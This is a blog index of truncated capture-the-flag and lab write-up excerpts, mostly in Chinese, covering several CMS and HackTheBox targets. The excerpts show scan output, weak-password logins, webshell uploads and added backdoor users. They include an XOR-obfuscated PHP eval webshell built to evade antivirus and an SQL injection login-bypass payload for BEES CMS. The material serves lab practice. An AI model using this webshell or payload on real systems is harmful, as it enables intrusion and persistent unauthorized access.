Posts

Box Info OS Difficulty Linux Easy Nmap [root@Hacking] /home/kali/Editor ❯ nmap editor.htb -A PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Editor - SimplistCode Pro 8080/tcp open http Jetty 10.0.20 | http-title: XWiki - Main - Intro |_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/ |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Jetty(10.0.20) | http-cookie-flags: | /: | JSESSIONID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: PROPFIND LOCK UNLOCK | http-webdav-scan: | Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK | WebDAV type: Unknown |_ Server Type: Jetty(10.0.20) | http-robots.txt: 50 disallowed entries (15 shown) | /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ | /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ | /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ | /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ | /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ |_/xwiki/bin/undelete/ CVE-2025-24893 进入8080端口，发现底部版本信息 搜索到这个脚本 ...

Box Info OS Difficulty Linux Medium Nmap [root@Hacking] /home/kali/era ❯ nmap era.htb -A PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Era Designs |_http-server-header: nginx/1.18.0 (Ubuntu) Dirsearch [root@Hacking] /home/kali/era ❯ dirsearch -u era.htb _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289 Target: http://era.htb/ [10:07:41] Scanning: [10:08:17] 301 - 178B - /css -> http://era.htb/css/ [10:08:24] 301 - 178B - /fonts -> http://era.htb/fonts/ [10:08:26] 301 - 178B - /img -> http://era.htb/img/ [10:08:26] 200 - 19KB - /index.html [10:08:31] 301 - 178B - /js -> http://era.htb/js/ [10:08:31] 403 - 564B - /js/ Task Completed 目录扫描似乎并没有东西，而且网站中并没有可以交互的地方，因此接下来尝试子域名爆破 ...

Nmap [root@Hacking] /home/kali/Takedown ❯ nmap 192.168.55.138 -A -p- PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0) | ssh-hostkey: | 3072 51:fb:66:e0:d2:b6:ae:16:a9:d2:74:41:a5:b3:02:2b (RSA) | 256 93:a0:01:6c:42:cd:26:bf:38:e5:70:fb:b8:c6:b3:fe (ECDSA) |_ 256 77:c9:ed:41:a5:cb:30:33:08:22:88:f6:a8:28:11:8d (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Cybersecurity Inc - Secure Your Digital World |_http-server-header: nginx/1.18.0 添加shieldweb.che和ticket.shieldweb.che到/etc/passwd ...

Struts2 8888端口开放，发现版本信息，根据提示说有Struts2框架 文件上传那个漏洞用不了，扫一下目录扫出来/S2 直接上综合利用工具，可以命令执行 上传一句话木马 连接成功 权限不够查看flag，上传cs免杀马好像不太行，我这里先上msf，原因是 目标机器有防火墙，所以这里只能用定向，上去之后记得关掉防火墙 先拿第一个flag 开启RDP，添加后门 ...

EmpireCMS 进入80端口发现帝国CMS，版本是7.5 来到/e/admin/index.php是后台登录地址，使用弱口令：admin/admin，猜测认证码是cslab（最多尝试五次，然后锁定一小时，有点坑哦） 上传一个mod文件 ...

ThinkPHP 进入80端口，用工具直接getshell 生成的后门很快会被查杀，因此可以写入一个免杀木马 <?php function xorEncryptDecrypt($data, $key) { $keyLength = strlen($key); $result = ''; for ($i = 0; $i < strlen($data); $i++) { $keyChar = $key[$i % $keyLength]; $result .= chr(ord($data[$i]) ^ ord($keyChar)); } return $result; } $originalData = $_REQUEST["a"]; $key = $_REQUEST["b"]; $encryptedData = xorEncryptDecrypt($originalData, $key); $decryptedData = xorEncryptDecrypt($encryptedData, $key); echo @eval($decryptedData); ?> //密码是a 根目录拿到flag1 上传免杀CS木马，然后sweetpotato提权到system 开启RDP，添加后门 ...

CMSeasy 进入80端口，发现CMSeasy服务 并且在网页源码中发现版本信息 使用弱密码：admin/admin123456来到后台，编辑模板发现有PHP代码 可以在index这里添加一句话木马 可以成功写入，连接蚁剑后在根目录拿到flag1 普通的一句话好像还连不起，随便找了一个一句话木马 ...

BageCMS fscan扫描到9652端口运行着CMS，版本大概率是3.1 进入/index.php?r=admini，通过弱密码：admin/admin123456进入到后台，编辑模板添加一句话木马 连接蚁剑，在根目录拿到flag1 开启RDP，添加后门用户 ...

ZZZMCS 直接访问80端口，进入/admin登录界面，使用弱密码admin/admin123456进入到后台 来到模板管理随便编辑一个html 如下图添加 成功写入木马 连接蚁剑，在根目录拿到flag1 不过当前并不是system权限，好像直接通过蚁剑传马会超时，这里我开的http服务来下载 目标主机上有杀软，直接生成的cs木马会被直接杀掉，这里我用这个插件 ...

BEES CMS fscan扫描到6582端口 经过搜索发现后台登录的用户名处存在SQL注入 通过联合注入伪造登录 user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456&code=dd18&submit=true&submit.x=0&submit.y=0 在后台进行上传文件 连接成功，在根目录拿到flag1 上线cs，开启RDP，添加后门用户 ...